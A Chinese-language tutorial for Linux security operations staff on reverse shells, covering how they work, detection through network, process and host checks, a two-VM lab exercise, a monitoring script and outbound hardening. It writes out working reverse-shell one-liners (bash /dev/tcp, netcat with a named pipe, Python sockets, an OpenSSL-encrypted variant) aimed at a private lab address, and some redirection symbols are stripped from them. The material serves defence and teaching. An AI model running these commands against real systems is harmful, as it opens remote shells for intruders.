1. 為什么安全運(yùn)維必須搞懂“反彈shell”搞Linux安全的人應(yīng)該都有過這種經(jīng)歷明明邊界防火墻、云安全組都配得挺嚴(yán)端口掃描也沒掃出什么可疑服務(wù)結(jié)果還是出了事故。事后一查溯源發(fā)現(xiàn)攻擊者根本沒有“打進(jìn)來”而是讓某臺(tái)內(nèi)網(wǎng)主機(jī)主動(dòng)“向外連”到他們的服務(wù)器。這個(gè)招數(shù)名字就叫反彈shell英文常寫作reverse shell。反彈shell說白了就是攻擊者不在受害主機(jī)上開端口等你來連而是讓受害主機(jī)主動(dòng)去連攻擊者的監(jiān)聽端口然后把Shell交出去。為什么這個(gè)思路讓無數(shù)防御體系失效核心原因在于絕大多數(shù)網(wǎng)絡(luò)邊界設(shè)備對(duì)外部入站流量盯得極嚴(yán)但對(duì)出站流量相對(duì)寬松。服務(wù)器要更新軟件包、要調(diào)API、要連數(shù)據(jù)庫這些都需要出站訪問。一旦防守方默認(rèn)“出站就是正常的”攻擊者利用這一點(diǎn)就能把反向連接夾在正常流量中溜出去。這篇文章是“Linux攻防快速入門”的上半部分我打算把反彈shell從原理到實(shí)現(xiàn)方式挨個(gè)拆開再把檢測思路和落地工具一起講清楚。適合的對(duì)象很明確負(fù)責(zé)服務(wù)器運(yùn)維、安全巡檢、攻防演練藍(lán)隊(duì)值守的兄弟們。我不是教你去攻擊誰而是希望你拿到這份內(nèi)容后看到可疑連接能快速反應(yīng)過來“這可能是反彈shell”知道該查什么、該攔截什么。先搞懂攻擊者為什么能用這招防御才有抓手。2. 原理篇反彈shell為什么能“反”得起來2.1 正向連接與反向連接的思路差異常規(guī)理解的遠(yuǎn)程控制是正向連接受害主機(jī)監(jiān)聽在某端口攻擊者主動(dòng)連過去。這個(gè)模型在真實(shí)攻防中很難落地因?yàn)槟繕?biāo)主機(jī)在防火墻內(nèi)、沒有公網(wǎng)IP、安全組只放行特定入站端口攻擊者根本無法從外部觸達(dá)。反向連接剛好把這個(gè)順序顛倒過來。受害主機(jī)主動(dòng)發(fā)起一個(gè)TCP連接連到攻擊者的服務(wù)器而攻擊者這邊只是被動(dòng)監(jiān)聽。對(duì)于絕大部分內(nèi)網(wǎng)環(huán)境來說主動(dòng)外連是日常操作apt update要連軟件源、應(yīng)用要上報(bào)日志、容器要拉鏡像。防火墻看到這些出站連接通常直接放行。反彈shell利用的正是這個(gè)信任漏洞。從結(jié)果來看正向與反向拿到的東西是一致的一個(gè)可以執(zhí)行命令的Shell。但從網(wǎng)絡(luò)行為上看一個(gè)是“外部到內(nèi)部的入站連接”一個(gè)是“內(nèi)部到外部的出站連接”兩者在流量模型、日志記錄、檢測難度上完全不同。2.2 一條最小反彈鏈路是怎么建立起來的很多教程直接給你一串bash命令但你若不理解里面每個(gè)符號(hào)在干嘛就永遠(yuǎn)只能死記硬背更談不上做檢測特征。我不喜歡這樣講。我們把一條典型命令拆開看bash -i /dev/tcp/192.168.1.10/8080 01這里四個(gè)關(guān)鍵點(diǎn)bash -i以交互模式啟動(dòng)bash。交互模式才會(huì)有提示符、才會(huì)把輸入輸出和終端綁定攻擊者才能像坐在真機(jī)前面一樣操作。/dev/tcp/192.168.1.10/8080這不是磁盤上的文件而是bash內(nèi)置的虛擬網(wǎng)絡(luò)設(shè)備。只要bash編譯時(shí)開啟了相關(guān)支持你往這個(gè)“文件”里寫數(shù)據(jù)其實(shí)就是在往指定IP的指定端口發(fā)TCP數(shù)據(jù)包。將標(biāo)準(zhǔn)錯(cuò)誤重定向到標(biāo)準(zhǔn)輸出保證報(bào)錯(cuò)信息也能一并傳出去。01把標(biāo)準(zhǔn)輸入也指向同一個(gè)網(wǎng)絡(luò)連接。這樣對(duì)方的輸入能進(jìn)入ShellShell的輸出能原路返回。說人話就是受害主機(jī)上開了一個(gè)交互Shell這個(gè)Shell的輸入輸出不再連接本地鍵盤屏幕而是通過一個(gè)TCP連接接到了攻擊者的機(jī)器上。攻擊者那邊只要提前監(jiān)聽好端口連接一建立他的終端就成了這臺(tái)主機(jī)的“遠(yuǎn)程鍵盤”。你用生活場景類比一下平時(shí)你電腦上的終端是本地顯示器鍵盤反彈shell相當(dāng)于把顯示器和鍵盤用一根很長的網(wǎng)線接到了別人桌上別人敲什么命令你機(jī)器就執(zhí)行什么屏幕輸出也傳到人家那邊。2.3 為什么實(shí)戰(zhàn)里攻擊者偏愛反彈而不是直接連除了前面說的防火墻出站放行因素還有幾個(gè)現(xiàn)實(shí)原因。第一NAT和公網(wǎng)IP問題。絕大多數(shù)內(nèi)網(wǎng)服務(wù)器不是公網(wǎng)直連架構(gòu)外部主動(dòng)連進(jìn)來看不見目標(biāo)主機(jī)但目標(biāo)主機(jī)主動(dòng)連出去沒有障礙。第二端口策略差異。入站通常只開放80、443這類業(yè)務(wù)端口而出站要訪問HTTPS、DNS、數(shù)據(jù)庫端口難以做到完全封死。第三隱蔽性不同。入站連接在邊界設(shè)備上會(huì)有明顯的“外部地址訪問內(nèi)部高端口”告警特征而反彈連接在四層上看就是一個(gè)普通的出站TCP會(huì)話和正常業(yè)務(wù)請(qǐng)求的初始形態(tài)幾乎一樣。理解了這一層你也就明白為什么反彈shell是“攻防快速入門”里繞不開的話題。它不是一個(gè)花哨技巧而是攻擊者用來繞邊界控制的一類基礎(chǔ)設(shè)施級(jí)手段。3. 常見反彈實(shí)現(xiàn)方式與特征識(shí)別3.1 bash與/dev/tcp的經(jīng)典姿勢上一節(jié)拆解的那條命令就是bash基礎(chǔ)款。別看它短實(shí)際攻防中出現(xiàn)頻率一直很高因?yàn)閹缀趺颗_(tái)Linux機(jī)器都裝了bash用系統(tǒng)自帶能力就能完成反彈不需要額外上傳工具。攻擊者可能會(huì)加一個(gè)-c參數(shù)包一層bash -c bash -i /dev/tcp/192.168.1.10/8080 01 末尾的是為了讓進(jìn)程后臺(tái)運(yùn)行避免影響當(dāng)前終端。檢測特征是容易識(shí)別的進(jìn)程命令行里同時(shí)出現(xiàn)bash -i和/dev/tcp進(jìn)程樹里通常會(huì)看到bash派生子進(jìn)程。如果你發(fā)現(xiàn)一臺(tái)業(yè)務(wù)服務(wù)器上的bash進(jìn)程狀態(tài)異常連接對(duì)端IP又是陌生地址基本可以判定有問題。3.2 nc與socat傳統(tǒng)工具的新用法netcat被叫作“網(wǎng)絡(luò)瑞士軍刀”不是沒理由的。如果目標(biāo)機(jī)器上恰好裝了nc一條命令就能彈Shellnc -e /bin/sh 192.168.1.10 8080不過這里有個(gè)坑-e參數(shù)是OpenBSD版本的netcat才支持的傳統(tǒng)版本或者精簡版netcat通常不支持。攻擊者遇到不支持-e的環(huán)境會(huì)用命名管道fifo來湊合經(jīng)典做法是這樣的rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 21 | nc 192.168.1.10 8080 /tmp/f這條命令第一次看可能有點(diǎn)繞。它的核心是用mkfifo創(chuàng)建一個(gè)命名管道/tmp/f管道里的數(shù)據(jù)走“cat讀管道內(nèi)容 → 交給shell執(zhí)行 → 輸出交給nc發(fā)出去 → nc收到數(shù)據(jù)寫回管道”這樣一個(gè)環(huán)形。攻擊者的輸入通過這個(gè)回路不斷流進(jìn)shell執(zhí)行shell的輸出再原路傳回去。socat是比netcat功能更強(qiáng)的工具它也經(jīng)常出現(xiàn)在反彈操作中。不過老練的攻擊者一般不會(huì)在目標(biāo)機(jī)器上現(xiàn)場裝socat而是看系統(tǒng)里原本有沒有。對(duì)于防御方來說看到主機(jī)上運(yùn)行nc或socat且連接目標(biāo)是外網(wǎng)IP不管它是不是在彈shell都應(yīng)該停下來仔細(xì)查一查因?yàn)檫@本身就超出正常業(yè)務(wù)范疇了。3.3 用Python等腳本語言繞過限制很多基礎(chǔ)鏡像里沒有nc也沒有socat但python3幾乎成了標(biāo)配。攻擊者用Python的socket能力可以實(shí)現(xiàn)同樣的效果一段常見代碼python3 -c import socket,subprocess,os ssocket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((192.168.1.10,8080)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) psubprocess.call([/bin/sh,-i]) 這段代碼干的事和bash款完全一樣建立一個(gè)TCP連接把標(biāo)準(zhǔn)輸入、標(biāo)準(zhǔn)輸出、標(biāo)準(zhǔn)錯(cuò)誤三個(gè)文件描述符都指向這個(gè)socket然后啟動(dòng)一個(gè)交互式shell。你可以在攻擊者機(jī)器上觀察到stdin被socket占用的Python進(jìn)程。除了PythonPerl、Ruby、PHP也都能實(shí)現(xiàn)類似邏輯。本質(zhì)就是“語言自帶網(wǎng)絡(luò)庫 重定向文件描述符”。這類反彈方式檢測難度稍高一點(diǎn)因?yàn)檫M(jìn)程名可能是python3、perl這類常見程序單純看進(jìn)程名看不出問題得結(jié)合進(jìn)程參數(shù)、網(wǎng)絡(luò)連接、命令行特征綜合判斷。3.4 OpenSSL加密流量反彈前面幾種方式有一個(gè)共同弱點(diǎn)流量是明文。防守方只要在網(wǎng)絡(luò)出口抓包看到TCP負(fù)載里出現(xiàn)/bin/sh、命令字符串等關(guān)鍵字立馬就能暴露。為了躲開深度包檢測攻擊者會(huì)用OpenSSL把通道加密讓流量看起來像HTTPS。思路是這樣的攻擊者在自己的服務(wù)器上用OpenSSL生成自簽名證書啟動(dòng)一個(gè)監(jiān)聽端口openssl req -x509 -newkey rsa:2048 -nodes -keyout key.pem -out cert.pem -days 365 openssl s_server -quiet -accept 443 -cert cert.pem -key key.pem目標(biāo)機(jī)器上的反彈命令配合s_client連接mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 21 | openssl s_client -quiet -connect 192.168.1.10:443 /tmp/f這種流量抓包后看到的是密文關(guān)鍵字檢測完全失效。防御方只能依靠流量的元數(shù)據(jù)特征連接目標(biāo)的IP信譽(yù)、證書異常、連接時(shí)間模式等。這類反彈如果配上一個(gè)高信譽(yù)域名和合法證書檢測難度會(huì)上一個(gè)臺(tái)階。3.5 借助Metasploit生成標(biāo)準(zhǔn)會(huì)話Metasploit框架MSF里的payload機(jī)制讓反彈shell變成了工廠化生產(chǎn)。攻擊者用msfvenom選擇payload類型、指定主機(jī)和端口生成一個(gè)可執(zhí)行文件或者一段代碼目標(biāo)機(jī)器上執(zhí)行后MSF的exploit/multi/handler模塊負(fù)責(zé)監(jiān)聽接管。這類方式的優(yōu)勢在于穩(wěn)定性和功能擴(kuò)展。拿到的是一個(gè)Meterpreter會(huì)話后續(xù)可以上傳下載文件、抓取鍵盤記錄、做內(nèi)網(wǎng)代理跳板。從檢測角度看Meterpreter會(huì)話通信有相對(duì)固定的協(xié)議特征網(wǎng)絡(luò)側(cè)安全設(shè)備如果開啟了威脅情報(bào)和特征庫識(shí)別率會(huì)比普通bash反彈高一些。4. 拆解檢測思路從三個(gè)層面鎖定異常4.1 網(wǎng)絡(luò)層監(jiān)控盯住出站連接既然反彈shell本質(zhì)是出站連接那第一道防線自然在網(wǎng)絡(luò)側(cè)。核心思路是建立出站連接的“白名單基線”然后揪出不符合基線的行為。我先說一個(gè)比較基礎(chǔ)但有效的手法用tcpdump抓取外聯(lián)的SYN請(qǐng)求。執(zhí)行前需要想清楚你的內(nèi)網(wǎng)網(wǎng)段。假設(shè)內(nèi)網(wǎng)是192.168.1.0/24命令如下sudo tcpdump -i eth0 -nn \ tcp[tcpflags] tcp-syn ! 0 and tcp[tcpflags] tcp-ack 0 and \ src net 192.168.1.0/24 and not dst net 192.168.1.0/24這段過濾條件的含義是抓取從內(nèi)網(wǎng)發(fā)往非內(nèi)網(wǎng)方向、TCP標(biāo)志位為SYN且ACK位為0的報(bào)文也就是所有新建的出站TCP連接請(qǐng)求。反彈連接建立的第一步必然是一個(gè)這樣的SYN包。如果你在輸出里看到某臺(tái)業(yè)務(wù)服務(wù)器頻繁向一個(gè)陌生IP的非常見端口發(fā)起外聯(lián)這個(gè)連接就非常可疑。光看SYN還不夠連接建立后的持續(xù)流量更要關(guān)注。一個(gè)正常業(yè)務(wù)服務(wù)器訪問外部數(shù)據(jù)庫或者API連接模式基本固定反彈shell則是長連接交互式小包數(shù)據(jù)心跳規(guī)律和人類打字節(jié)奏高度相似。你可以用ss -tnp查看當(dāng)前所有TCP連接ss -tnp | grep ESTAB重點(diǎn)排查ESTABLISHED狀態(tài)中源端口是隨機(jī)高位端口、目標(biāo)IP是陌生地址的長連接。如果是攻擊者的監(jiān)聽服務(wù)器連接一直不斷狀態(tài)長時(shí)間維持ESTABLISHED這種“既不結(jié)束也不傳大量數(shù)據(jù)”的長連接在正常業(yè)務(wù)里是很扎眼的。再進(jìn)一步如果有條件部署流量分析設(shè)備或Zeek這類工具建議檢測SSH隧道封裝和端口復(fù)用行為。反彈shell不一定要用nc或bash攻擊者也可能在受害機(jī)器上用ssh -R做反向端口轉(zhuǎn)發(fā)把內(nèi)網(wǎng)端口映射到外部。這種流量特征是加密SSH流方向上同樣是出站單靠端口識(shí)別很難發(fā)現(xiàn)必須結(jié)合賬號(hào)登錄行為、目標(biāo)地址信譽(yù)來綜合判斷。4.2 進(jìn)程層排查順著PID找異常網(wǎng)絡(luò)層的線索往往只能告訴你“哪臺(tái)機(jī)器在向誰連接”但要確認(rèn)是不是反彈shell必須落到進(jìn)程層。我的習(xí)慣是發(fā)現(xiàn)可疑連接后立刻用ss -tnp或者lsof -i把連接對(duì)應(yīng)的PID找出來然后反查進(jìn)程信息。常用命令組合ss -tnp | grep 192.168.1.10 # 拿到PID后 ps -ef --forest | grep PID ls -l /proc/PID/exe readlink /proc/PID/cwd cat /proc/PID/cmdline對(duì)于前面提到的bash款反彈ps輸出里直接就能看到bash -i和/dev/tcp字樣基本一抓一個(gè)準(zhǔn)。如果是Python反彈你會(huì)看到一個(gè)python3進(jìn)程的命令行參數(shù)里帶著socket相關(guān)代碼雖然代碼會(huì)經(jīng)過轉(zhuǎn)義但特征依然明顯。還有一個(gè)容易被忽略的技巧查看進(jìn)程的文件描述符。交互shell被重定向到網(wǎng)絡(luò)后/proc/PID/fd/0、fd/1、fd/2指向的就不再是終端設(shè)備而是一個(gè)socket。用ls -l /proc/PID/fd查看0 - socket:[123456] 1 - socket:[123456] 2 - socket:[123456]正常的命令行進(jìn)程文件描述符0、1、2應(yīng)該指向/dev/pts/*、/dev/tty*或其他終端設(shè)備。如果你發(fā)現(xiàn)一個(gè)bash或者python進(jìn)程的0、1、2全部指向socket那說明它的輸入輸出已經(jīng)被重定向到網(wǎng)絡(luò)連接。這個(gè)判斷標(biāo)準(zhǔn)非常可靠我建議每個(gè)安全運(yùn)維都熟練掌握。我再說一個(gè)加分操作用strace跟蹤可疑進(jìn)程的系統(tǒng)調(diào)用確認(rèn)它是否在做讀寫socket的操作。sudo strace -f -e traceread,write,connect -p PID反彈shell的活動(dòng)必然伴隨持續(xù)的網(wǎng)絡(luò)讀寫strace輸出會(huì)非常明顯。4.3 主機(jī)層排查文件、歷史與審計(jì)日志攻擊者要在受害機(jī)器上執(zhí)行反彈命令通常需要?jiǎng)?chuàng)建臨時(shí)文件或者借助啟動(dòng)腳本和計(jì)劃任務(wù)這會(huì)在主機(jī)層面留下痕跡。先查可疑目錄。反彈命令里最常見的就是把fifo管道文件放在/tmp、/var/tmp、/dev/shm這些可寫目錄ls -lat /tmp ls -lat /var/tmp ls -lat /dev/shm如果看到近期創(chuàng)建、文件名隨機(jī)、屬于root或其他業(yè)務(wù)賬號(hào)的管道文件并且對(duì)應(yīng)的進(jìn)程正好在向外連接那就非?？梢伞Ｕ鎸?shí)的業(yè)務(wù)程序很少會(huì)往/dev/shm里建文件更不會(huì)用fifo做跨進(jìn)程通信。再查命令歷史。很多人以為bash_history總能記錄一切實(shí)際上反彈shell拿到的交互Shell不一定寫history文件攻擊者也可以手動(dòng)unset HISTFILE或者用export HISTSIZE0關(guān)掉記錄。因此bash_history查不到內(nèi)容并不能說明主機(jī)干凈反而是反向排除法如果一臺(tái)正常使用中的服務(wù)器某個(gè)賬號(hào)的bash_history文件突然被清空或者大小為0這本身就是一種異常信號(hào)。審計(jì)日志方面Linux自帶的auditd如果開了execve審計(jì)就能記錄進(jìn)程執(zhí)行的完整命令行。檢查方式sudo ausearch -ts today -k shell_exec通過syslog和secure日志查看異常登錄和賬號(hào)行為也是常規(guī)動(dòng)作。反彈shell建立后攻擊者可能會(huì)用已知賬號(hào)或者提權(quán)后創(chuàng)建的新賬號(hào)做持久化操作這些痕跡會(huì)在登錄日志里留下記錄。5. 模擬環(huán)境下的檢測驗(yàn)證從抓包到定位5.1 準(zhǔn)備一個(gè)安全的驗(yàn)證環(huán)境講再多理論不如自己動(dòng)手驗(yàn)證一次。我強(qiáng)烈建議你在一套完全隔離的實(shí)驗(yàn)環(huán)境中跑通“反彈—檢測”的閉環(huán)。準(zhǔn)備兩臺(tái)虛擬機(jī)就行一臺(tái)當(dāng)作攻擊方一臺(tái)當(dāng)作受害方網(wǎng)段設(shè)成虛擬網(wǎng)絡(luò)不要連接任何生產(chǎn)環(huán)境。我再強(qiáng)調(diào)一次這是技術(shù)驗(yàn)證不是在真實(shí)環(huán)境中做非法操作目標(biāo)機(jī)器一定得在你自己的控制范圍內(nèi)。環(huán)境建議受害機(jī)一臺(tái)CentOS或者Ubuntu不開圖形界面也行內(nèi)存1GB足夠。攻擊機(jī)隨便一臺(tái)能跑nc的Linux不需要特別配置。網(wǎng)絡(luò)兩臺(tái)機(jī)器在同一虛擬內(nèi)網(wǎng)里禁止與外部網(wǎng)絡(luò)通信。5.2 制造一條反彈連接并抓包觀察在攻擊機(jī)上監(jiān)聽端口我習(xí)慣指定一個(gè)具體的IP和端口nc -lvnp 8080然后在受害機(jī)上執(zhí)行bash反彈命令bash -i /dev/tcp/192.168.1.10/8080 01攻擊機(jī)的nc終端會(huì)立刻顯示進(jìn)入交互模式輸入id、whoami都能拿到受害機(jī)的輸出。這時(shí)候你在受害機(jī)上執(zhí)行ss -tnpss -tnp | grep 192.168.1.10會(huì)看到一個(gè)bash進(jìn)程正與攻擊機(jī)IP的8080端口保持ESTABLISHED狀態(tài)。再查一下進(jìn)程樹pstree -p大概率能看到當(dāng)前shell下面掛著bash子進(jìn)程這就是被重定向的交互Shell。為了驗(yàn)證網(wǎng)絡(luò)層監(jiān)控的效果我在受害機(jī)上開tcpdump提前抓包sudo tcpdump -i eth0 -nn host 192.168.1.10能看到完整的TCP三次握手以及后續(xù)你來我往的交互數(shù)據(jù)包。如果安全設(shè)備上配置了“內(nèi)網(wǎng)主機(jī)主動(dòng)連接陌生外部端口”的告警規(guī)則這條連接就會(huì)被標(biāo)記。5.3 把檢測規(guī)則固化成可執(zhí)行腳本人工排查效率低我建議把檢測邏輯寫成一個(gè)簡單的巡檢腳本放到定時(shí)任務(wù)里每日?qǐng)?zhí)行。腳本需要做三件事找出所有外聯(lián)TCP連接的PID、檢查PID對(duì)應(yīng)的進(jìn)程行為、檢查可疑目錄下的新文件。#!/bin/bash # 排查可疑外聯(lián)連接 date_log$(date %Y%m%d-%H%M) ss -tnp | grep ESTAB | grep -v 127.0.0.1 /tmp/conn_check.txt while read line; do pid$(echo $line | grep -oP pid\K[0-9]) if [ -n $pid ]; then cmdline$(tr \0 /proc/$pid/cmdline) echo $date_log $pid $cmdline /var/log/shell_monitor.log fi done /tmp/conn_check.txt # 檢查可疑fifo文件 find /tmp /var/tmp /dev/shm -type p -mtime -3 2/dev/null /var/log/fifo_monitor.log這里稍微說明一下腳本里的pid提取依賴ss -tnp的輸出格式不同的ss版本輸出有細(xì)微差異你用的時(shí)候按實(shí)際格式稍微調(diào)整即可。重點(diǎn)是把體系跑起來而不是照抄這條命令。日志里的記錄可以作為后續(xù)溯源的基礎(chǔ)數(shù)據(jù)。6. 加固與長效防御的落地經(jīng)驗(yàn)6.1 出站策略從“默認(rèn)放行”到“白名單優(yōu)先”單純靠檢測是被動(dòng)的更理想的方案是讓反彈連接根本建立不起來。出站訪問控制就是最直接的手段。很多企業(yè)的防火墻策略是“只攔截入站危險(xiǎn)端口出站全放行”這種策略必須改。正確的思路是梳理業(yè)務(wù)自身的出站需求然后配置出站白名單。比如服務(wù)器更新軟件包只需要訪問系統(tǒng)軟件源域名和端口應(yīng)用調(diào)API只訪問固定域名和端口數(shù)據(jù)庫備份只需要連接存儲(chǔ)區(qū)域網(wǎng)段。把這些合理需求列出來其余沒有說明理由的出站連接一律DENY?；叶葘?shí)施時(shí)可以按“審計(jì)模式”先跑一個(gè)月把正常流量全部記下來再基于這份流量清單收緊出站策略。這一步推進(jìn)的時(shí)候肯定會(huì)遇到阻力因?yàn)闃I(yè)務(wù)方會(huì)擔(dān)心某天訪問不了某個(gè)外部服務(wù)。我自己的經(jīng)驗(yàn)是先針對(duì)DMZ區(qū)和高危業(yè)務(wù)區(qū)做收緊辦公區(qū)和普通測試區(qū)可以寬松一些分階段推進(jìn)用數(shù)據(jù)說話不要一上來就想全公司一步到位。6.2 系統(tǒng)層面不給攻擊者留工具如果出站策略暫時(shí)沒法收緊那系統(tǒng)層面就得做兜底。反彈shell依賴目標(biāo)機(jī)器上可用的工具和功能把這些能力剪掉可以有效降低被利用的概率。具體來說對(duì)nc、socat、ncat這些網(wǎng)絡(luò)工具通過修改權(quán)限chmod o-x把其他用戶的執(zhí)行權(quán)限去掉僅保留root可用。有些場景直接卸載更徹底。在bash的編譯配置里禁用/dev/tcp支持。很多發(fā)行版是可以做到的但注意這會(huì)影響某些依賴該特性的腳本邏輯改之前先在生產(chǎn)環(huán)境做好兼容性驗(yàn)證。容器場景下盡量給容器最小化權(quán)限不要privileged運(yùn)行掛載目錄盡可能只讀這能顯著降低攻擊者在內(nèi)網(wǎng)容器里彈shell的成功率。清理無用的系統(tǒng)賬號(hào)尤其是帶shell權(quán)限的服務(wù)賬號(hào)。很多攻擊者拿到一個(gè)低權(quán)限賬號(hào)后通過su或者sudo配置漏洞提權(quán)把反彈shell從普通用戶變成root權(quán)限讓其更難處理。6.3 持續(xù)檢測定期復(fù)盤與威脅狩獵檢測規(guī)則配置完之后不能一勞永逸因?yàn)榉磸梥hell的方式也在不斷更新。我堅(jiān)持的一個(gè)做法是每季度做一次內(nèi)部攻防演練模擬真實(shí)攻擊手法把上一階段的檢測規(guī)則跑一遍看能不能攔住、能不能告警。如果真的被突破了把攻擊過程復(fù)盤還原補(bǔ)充漏掉的檢測點(diǎn)。另外威脅情報(bào)也很重要。反彈連接的目標(biāo)服務(wù)器通常有跡可循可以把外聯(lián)IP和域名放到威脅情報(bào)平臺(tái)查詢歷史威脅標(biāo)簽記錄。長期維護(hù)一個(gè)可疑外聯(lián)IP黑名單在防火墻上同步自動(dòng)封禁會(huì)讓攻擊成本明顯上升。這個(gè)黑名單不只是阻斷已知攻擊者的服務(wù)器IP還包括掃描器IP、惡意軟件回連域名等。情報(bào)源要定期更新否則很快會(huì)過期失效。7. 常見問題排查與經(jīng)驗(yàn)記錄7.1 為什么bash -i的反彈命令有時(shí)不生效這個(gè)問題的原因通常有兩個(gè)。第一目標(biāo)機(jī)器的bash編譯時(shí)沒有開啟/dev/tcp支持比較少見但確實(shí)存在。判斷方法很簡單執(zhí)行echo /dev/tcp/127.0.0.1/9999如果提示連接被拒絕說明設(shè)備本身可用如果提示沒有那個(gè)文件或者權(quán)限錯(cuò)誤那就是編譯時(shí)禁用了。第二目標(biāo)機(jī)器處于沙箱或者容器環(huán)境中對(duì)外網(wǎng)絡(luò)訪問本身就受限反彈包根本出不去。容器場景里遇到反彈失敗先檢查容器的網(wǎng)絡(luò)模式host模式還是bridge模式各自的出站限制不一樣。我見過不少初級(jí)運(yùn)維在排查這個(gè)問題時(shí)反復(fù)試不同命令其實(shí)應(yīng)該先確認(rèn)基礎(chǔ)連通性。用curl連一個(gè)我們知道的可達(dá)地址確認(rèn)網(wǎng)絡(luò)通路沒問題再來討論shell層面的事。7.2 檢測時(shí)的誤報(bào)重災(zāi)區(qū)只要做出站流量告警誤報(bào)一定少不了。最常見的誤報(bào)就是軟件更新源。很多Linux服務(wù)器會(huì)在凌晨跑定時(shí)任務(wù)去各大軟件源倉庫同步更新如果規(guī)則把“內(nèi)網(wǎng)到外網(wǎng)的高端口連接”全部當(dāng)成可疑行為半夜起來全是告警慢慢就變成“狼來了”。我踩過這個(gè)坑所以現(xiàn)在做檢測規(guī)則都有三條默認(rèn)原則第一排除已知合法的軟件源域名和IP段第二排除云廠商元數(shù)據(jù)服務(wù)的IP地址第三針對(duì)連接頻率、連接時(shí)長、目標(biāo)端口三要素設(shè)置閾值而不僅僅看“有沒有連接”。反向排查時(shí)也要特別留意內(nèi)網(wǎng)穿透工具和運(yùn)維堡壘機(jī)的正常流量。比如有些團(tuán)隊(duì)為了方便遠(yuǎn)程運(yùn)維會(huì)在服務(wù)器上部署反向隧道工具這類工具從網(wǎng)絡(luò)行為上看和反彈shell非常相似。建議把這些工具的指紋加進(jìn)白名單避免從告警變誤傷。7.3 發(fā)現(xiàn)反彈shell后先別急著斷開這是經(jīng)驗(yàn)之談。很多人在確認(rèn)服務(wù)器被彈了shell之后第一反應(yīng)是殺掉進(jìn)程、刪除文件但這通常是大忌。沒有保留現(xiàn)場證據(jù)后續(xù)溯源根本無從談起攻擊者的路徑、手法、訪問了哪些數(shù)據(jù)全都會(huì)丟失。正確的做法是先通過流量側(cè)記錄連接信息和數(shù)據(jù)包保存進(jìn)程快照把當(dāng)前連接的對(duì)端IP、端口、進(jìn)程PID、啟動(dòng)時(shí)間全部記錄下來再?zèng)Q定下一步。如果條件允許可以先把受害機(jī)和外部網(wǎng)絡(luò)隔離但保留攻擊方到受害機(jī)的連接不斷開方便做行為觀察。這里啟用了網(wǎng)絡(luò)隔離后原有的反彈連接自然中斷攻擊者會(huì)發(fā)現(xiàn)并可能銷毀痕跡所以做隔離前盡量先抓足夠的流量包。7.4 不依賴單點(diǎn)工具建立縱深配合有人說裝了auditd就一定看不到反彈shell這個(gè)說法不對(duì)。auditd能記錄execve的系統(tǒng)調(diào)用但如果攻擊者反彈shell后直接注入到已有的合法進(jìn)程內(nèi)存中不經(jīng)execve執(zhí)行auditd只能看到這個(gè)進(jìn)程的原有行為。安全產(chǎn)品從來都是多層配合網(wǎng)絡(luò)層抓異常外聯(lián)、主機(jī)層抓敏感行為、日志層抓賬戶登錄變化三層把信息拼在一起才有完整畫面。寫在后面這套內(nèi)容圍繞“反彈shell原理與檢測思路”展開我把原理拆到了文件描述符層面把實(shí)現(xiàn)方式按特征粗略分了幾類也給出了網(wǎng)絡(luò)、進(jìn)程、主機(jī)三條檢測路徑。你看完如果覺得太理論建議照著第5節(jié)的描述在兩臺(tái)虛擬機(jī)上自己驗(yàn)證一遍親手抓一次包、親眼看到fd指向socket的時(shí)刻對(duì)這個(gè)技術(shù)點(diǎn)的理解會(huì)完全不同。能不能防住反彈shell最終不是看你背了多少條命令而是看你有沒有把出站白名單、系統(tǒng)加固、日志審計(jì)、演練復(fù)盤的閉環(huán)真正跑起來。這個(gè)主題我只講了前半部分后面還有更多內(nèi)容可以聊拿到一次反彈會(huì)話后的行為分析怎么做內(nèi)網(wǎng)橫向移動(dòng)的常用手法怎么提前預(yù)判Linux的審計(jì)日志如何配置才能覆蓋更多攻擊路徑。等哪天有時(shí)間我再把這后半部分整理出來咱們接著聊。